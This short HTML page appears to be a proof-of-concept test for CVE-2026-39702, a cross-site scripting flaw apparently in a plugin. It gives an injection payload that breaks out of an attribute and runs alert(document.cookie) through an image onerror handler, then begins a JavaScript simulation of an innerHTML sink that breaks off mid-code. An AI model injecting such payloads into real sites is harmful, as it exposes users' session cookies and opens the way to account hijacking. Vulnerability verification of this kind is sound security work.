<h1>CVE-2026-39702 PoC Test</h1>
<p>To verify the vulnerability, inject the following payload into the vulnerable parameter:</p>

<pre>
"><img src=x onerror=alert(document.cookie)>

<p><strong>JavaScript Simulation:</strong></p>
<script>
    // Simulating the vulnerable sink behavior
    function testVulnerability(userInput) {
        // Vulnerable code pattern often found in the plugin:
        // document.getElementById('some-element').innerHTML = userInput;
        
        console.log("[+] Injecting payload into DOM sink...");
        
        // In a real scenario, this would execute the alert
        // For this simulation, we just log the execution
        try {
